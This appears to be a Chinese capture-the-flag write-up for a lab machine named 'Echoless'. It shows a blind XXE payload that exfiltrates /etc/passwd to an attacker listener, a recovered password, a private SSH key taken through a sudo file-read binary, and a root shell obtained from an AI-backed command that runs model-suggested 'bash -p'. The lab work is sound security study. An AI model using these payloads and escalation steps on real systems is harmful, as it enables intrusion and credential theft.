

Echoless

信息搜集

```
(kali㉿192)~[~/Desktop/Dasz/echoless]
$ cat ports.nmap
# Nmap 7.99 scan initiated Wed Sep  2 11:19:48 2026 as: /usr/lib/nmap/nmap -sT -Pn -sV -sC -O -p- -oA ports
Nmap scan report for 192.168.5.39
Host is up (0.0018s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.5 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.68 ((Unix))
|_ http-methods:
|_  Potentially risky methods: TRACE
|_ http-title: It works! Apache httpd
|_ http-server-header: Apache/2.4.68 (Unix)
MAC Address: 08:00:27:77:20:FE (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 2.6.32 (93%), Linux 3.2 - 4.14 (93%), Linux 2.6.32 - 3.10 (93%), Linux 3.10 - 3.16 (93%), Linux 3.16 - 4.4 (93%), Linux 4.4 - 5.19 (93%), Linux 5.10 - 5.19 (93%), Linux 5.4 (92%), OpenWrt 22.03 (Linux 5.10) (93%), Android 9 - 11 (Linux 4.9 - 4.14) (93%), Linux 5.10 - 5.19 (93%), Linux 5.4 (92%), OpenWrt 21.02 (Linux 5.4) (92%), Android 8 - 9 (Linux 3.18 - 4.4) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  2 11:20:13 2026 -- 1 IP address (1 host up) scanned in 26.12 seconds
```

常规端口

web

```
[11:28:57] 403 - 315B - /.well-known
[11:29:17] 400 - 152B - /api.php
[11:29:22] 200 - 820B - /cgi-bin/printenv
[11:29:22] 200 - 1KB - /cgi-bin/test-cgi
[11:29:28] 403 - 315B - /devdata.db
[11:29:30] 403 - 315B - /ehthumbs.db
[11:29:37] 200 - 1KB - /index.php
[11:29:37] 200 - 1KB - /index.php/login/
[11:29:37] 200 - 58KB - /info.php
[11:29:47] 403 - 315B - /mysqlitedb.db
[11:29:56] 403 - 315B - /pwd.db
[11:30:00] 403 - 315B - /server-status
[11:30:00] 403 - 315B - /server-status/
[11:30:00] 301 - 353B - /services -> http://
[11:30:00] 200 - 414B - /services/
[11:30:03] 403 - 315B - /spwd.db
[11:30:08] 403 - 315B - /Thumbs.db
[11:30:08] 403 - 315B - /thumbs.db
[11:30:11] 403 - 315B - /users.db
```

```
<body>
  <div class="container">
    <h1>Welcome</h1>
    <p>Corporate internal services portal</p>
    <p>Authorized access only</p>
  <div class="footer">
    &copy; 2026 All rights reserved
  </div>
  <!-- config.db -->
</div>
</body>
</html>
```

index.php注释发现信息

config.db

error Missing XML

直接访问显示缺少xml

在/services目录下发现协议规范

Index of /services

- [Parent Directory](#)
- [schema.xsd](#)
- [wsdl.xml](#)

This XML file does not appear to have any style information associated with it. The document tree is shown below.

```
<xsd:schema xmlns="http://api.gateway.local/services"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://api.gateway.local/services">
  <xsd:element name="GatewayRequest">
    <xsd:complexType>
      <xsd:sequence>
        <xsd:element name="action" type="ActionType"/>
        <xsd:element name="data" type="xsd:string"/>
        <xsd:element name="timestamp" type="xsd:dateTime" minOccurs="0"/>
        <xsd:element name="signature" type="xsd:string" minOccurs="0"/>
      </xsd:sequence>
    </xsd:complexType>
  </xsd:element>
  <xsd:simpleType name="ActionType">
    <xsd:restriction base="xsd:string">
      <xsd:enumeration value="ping"/>
      <xsd:enumeration value="echo"/>
      <xsd:enumeration value="query"/>
      <xsd:enumeration value="status"/>
    </xsd:restriction>
  </xsd:simpleType>
  <xsd:element name="GatewayResponse">
    <xsd:complexType>
      <xsd:sequence>
        <xsd:element name="status" type="ResponseStatus"/>
        <xsd:element name="message" type="xsd:string"/>
        <xsd:element name="data" type="xsd:string" minOccurs="0"/>
      </xsd:sequence>
    </xsd:complexType>
  </xsd:element>
  <xsd:simpleType name="ResponseStatus">
    <xsd:restriction base="xsd:string">
      <xsd:enumeration value="success"/>
```

```
<xsd:enumeration value="error"/>
<xsd:enumeration value="pending"/>
</xsd:restriction>
</xsd:simpleType>
</xsd:schema>
```

构建请求包

```
<?xml version="1.0" encoding="UTF-8"?>
<GatewayRequest xmlns="http://api.gateway.local/services">
  <action>ping</action>
  <data></data>
</GatewayRequest>
```

```
(kali㉿192)-[~/Desktop/Dasz/echoless]
$ curl -X POST "http://192.168.5.39/api.php" -H "Content-Type: text/xml; charset=utf-8" -H "SOAPAction: process" -d @request.xml
<GatewayResponse xmlns="http://api.gateway.local/services">
  <status>success</status>
  <message>pong</message>
  <timestamp>2026-09-02T04:25:26+00:00</timestamp>
</GatewayResponse>
```

探测XXE(XXE利用不熟练, 该部分借助AI完成)

```
<?xml version="1.0"?>
<!DOCTYPE GatewayRequest [
  <!ENTITY xxe SYSTEM "http://192.168.5.20:4444/t1">
]>
<GatewayRequest xmlns="http://api.gateway.local/services"><action>ping</action>
<data>&xxe;</data></GatewayRequest>
```

```
(kali㉿192)-[~/Desktop/Dasz/echoless]
$ sudo nc -lvnp 4444
[sudo] kali 的密码:
listening on [any] 4444 ...
connect to [192.168.5.20] from (UNKNOWN) [192.168.5.39] 51316
GET /t1 HTTP/1.1
Host: 192.168.5.20:4444
Connection: close
```

确认存在外部实体注入, 进一步测试DTD能否加载

```
<!ENTITY % file SYSTEM "php://filter/convert.base64-
encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.5.20:8080/exfil?
d=%file;'>">
%eval;
%exfil;
```

```
<!DOCTYPE GatewayRequest [
  <!ENTITY % remote SYSTEM "http://192.168.5.20:4444/test.dtd">
  %remote;
]>
<GatewayRequest xmlns="http://api.gateway.local/services"><action>ping</action>
<data>x</data></GatewayRequest>
```

```

(kali㉿192)-[~/Desktop/Dasz/echoless]
$ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
192.168.5.39 - - [02/Sep/2026 13:29:18] "GET /test.dtd HTTP/1.1" 200 -

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.5.39 - - [02/Sep/2026 13:29:18] code 404, message File not found
192.168.5.39 - - [02/Sep/2026 13:29:18] "GET /exfil?d=cm9vdDp4OjA6MDpyb2900i9yb2900i9iaW4
46L3NiaW4vbm9sb2dpbgpkYWVtb246eDoyOjI6ZGFlbW9u0i9zYmLu0i9zYmLuL25vbG9naW4KbHA6eDo00jc6bHA
9sb2dpbgpzeW5jOng6NTowOnN5bmM6L3NiaW46L2Jpbi9zeW5jCnNodXRkb3duOng6NjowOnNodXRkb3du0i9zYmLu
o30jA6aGFsdDovc2Jpbjovc2Jpbi9oYWx0cm1haWw6eDo40jEyOm1haWw6L3Zhci9tYWls0i9zYmLuL25vbG9naW4
xpYi9uZXdz0i9zYmLuL25vbG9naW4KdXVjcDp4OjEwOjE0OnV1Y3A6L3Zhci9zcG9vbC9ldWncHVibGlj0i9zYmLu
Nyb246L3Zhci9zcG9vbC9jcm9u0i9zYmLuL25vbG9naW4KZnRwOng6MjE6MjE60i92YXIVbGlL2Z0cDovc2Jpbi9
hk0i9kZXZYvbnVsbDovc2Jpbi9ub2xvZ2luCmdhbWVzOng6MzU6MzU6Z2FtZXM6L3Vzci9nYW1lc2ovc2Jpbi9ub2x
92YXIVZlwdHk6L3NiaW4vbm9sb2dpbgpndWVzdDp4OjQwNToxMDA6Z3Vlc3Q6L2Rldi9udWxs0i9zYmLuL25vbG9
Q6bm9ib2R50i86L3NiaW4vbm9sb2dpbgprbG9nZDp4OjEwMDoxMDA6a2xvZ2Q6L2Rldi9udWxs0i9zYmLuL25vbG9
FjaGU6L3Zhci93d3c3L3NiaW4vbm9sb2dpbgpnYXV0YW06eDoxMDAwOjEwMDA60i9ob2l1L2dhbXRhbTovYmLuL2J
A0jovaG9tZS9ob3N0YWRTaW46L2Jpbi9iYXNoCg== HTTP/1.1" 404 -

```

拿到config.db

```

=====
CONGRATULATIONS!
=====

Hahaha! You found me!
You've successfully exploited the Blind XXE vulnerability.

The password is: Echo13ss_XxE@948805

```

查看/etc/passwd

```

root:x:0:0:root:/root:/bin/bash
gautam:x:1000:1000::/home/gautam:/bin/bash
hostadmin:x:1001:1001::/home/hostadmin:/bin/bash

```

尝试ssh登录

```

(kali㉿192)-[~/Desktop/Dasz/echoless]
$ ssh gautam@192.168.5.39
gautam@192.168.5.39's password:

gautam@fuck:~$ |

```

提权

插曲

上去之后发现什么命令都没回显，颇感神奇

网上搜索找到解决办法

```

gautam@Echoless:~$ exec >/dev/tty
gautam@Echoless:~$ ls
user.txt
gautam@Echoless:~$ |

```

原因：

```
gautam@Echoless:~$ cat .profile
exec >/dev/null
gautam@Echoless:~$
```

登录后会将所有输出丢掉

hostadmin

```
gautam@Echoless:/home/hostadmin$ ls -la
total 16
drwxr-xr-x  3 hostadmin hostadmin    4096 Jun 11 11:34 .
drwxr-xr-x  4 root      root        4096 Jun 10 23:38 ..
drwx----- 2 hostadmin hostadmin    4096 Jun 11 11:29 .ssh
-r-----  1 hostadmin hostadmin    501 Jun 11 11:29 id.hex
gautam@Echoless:/home/hostadmin$ |
```

该用户家目录发现敏感文件

```
gautam@Echoless:/home/hostadmin$ sudo -l
Matching Defaults entries for gautam on Echoless:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:

Runas and Command-specific defaults for gautam:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User gautam may run the following commands on Echoless:
    (hostadmin) NOPASSWD: /sbin/bridge
```

sudo发现可执行程序

得知可以读取任意文件

[illegible]

openssh-key-

```
v1\x00\x00\x00\x00\x04none\x00\x00\x00\x04none\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x003\x00\x00\x00•ssh-ed25519\x00\x00\x00\n\xa1:\xa9\xa4\xe2\xe2\xa9\xa1f{x<N+\xb3\xf2:18g"•\xa58\x89]kj\x1c\x00\x00\x00\x98*x\xfbF*x\xfbF\x00\x00\x00•ssh-ed25519\x00\x00\x00\n\xa1:\xa9\xa4\xe2\xe2\xa9\xa1f{x<N+\xb3\xf2:18g"•\xa58\x89]kj\x1c\x00\x00\x00@\xe2\xbd)\xbc}\xe8\n\xf9\xfcy\x95\x0f9\xc0S\xbf\xd0\xe8 \xfaI\xa3\xa2-\xf7-  
H\x95*\x7f5:\xa9\xa4\xe2\xe2\xa9\xa1f{x<N+\xb3\xf2:18g"•\xa58\x89]kj\x1c\x00\x00\x00\x12hostadmin@Echoless\x01\x02\x03
```

16进制解码后得到ssh私钥信息，添加文件头尾

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnNzaC1rZXktdjEAAAABAG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACChOpqu41XiQvWHznt4PE4rs/LYSgw4ZyImpTijXwtqHAAAAJgqePhgKnj4
RgAAAAtzc2gtZWQyNTUxOQAAACChOpqu41XiQvWHznt4PE4rs/LYSgw4ZyImpTijXwtqHA
AAAEdivSm8fegN+fx5lQ85wFO/0Ogg+kmjoi33LdSt1Sp/xaE6mpTiveKpVaFme3g8Tiuz
8tiwbDhnIgy1OIlda2ocAAAAEmhvc3RhZG1pbkBFY2hvbGVzcwECAw==
-----END OPENSSH PRIVATE KEY-----
```

```
ssh -i id_hostadmin hostadmin@127.0.0.1
```

```

      _____
     /         \
    /  ^  ^  ^  \
   /    V    V    \
  /      V      V      \
 /        V        V        \
/          V          V          \
 \          V          V          /
  \        V        V        /
   \      V      V      /
    \  ^  ^  ^  \
     \         /
      _____

hostadmin@Echoless:~$ whoami
hostadmin
hostadmin@Echoless:~$ |

```

root

```
User hostadmin may run the following commands on Echoless:
  (ALL) NOPASSWD: /bin/hostname
Sudoers file: /etc/sudoers.d/fuck is readable
gautam fuck=(ALL) NOPASSWD: /usr/local/bin/fuck
gautam ALL=(hostadmin) NOPASSWD: /sbin/bridge
hostadmin ALL=(ALL) NOPASSWD: /bin/hostname
```

发现之前gautam用户还有一个sudo程序，但是只能在主机名为fuck时运行

先以hostadmin

```
sudo hostname fuck
```

再回到gautam

```
gautam@Echoless:~$ sudo /usr/local/bin/fuck
FUCK! You forgot to ask me what to do.
gautam@Echoless:~$ sudo /usr/local/bin/fuck --help
FUCK! The AI is ghosting me. Got nothing back.
gautam@Echoless:~$ sudo /usr/local/bin/fuck hello
FUCK! The AI is ghosting me. Got nothing back.
gautam@Echoless:~$ sudo /usr/local/bin/fuck
FUCK! You forgot to ask me what to do.
gautam@Echoless:~$ |
```

似乎是一个AI模型对话？

```
gautam@Echoless:~$ sudo /usr/local/bin/fuck bash -p
--- The AI mumbled this, hope it's right ---
bash -p
-----
F*CKING execute it? [y/N] y
FUCK! IT, WE DO IT LIVE!
fuck:/home/gautam# whoami
root
fuck:/home/gautam# |
```

有点神奇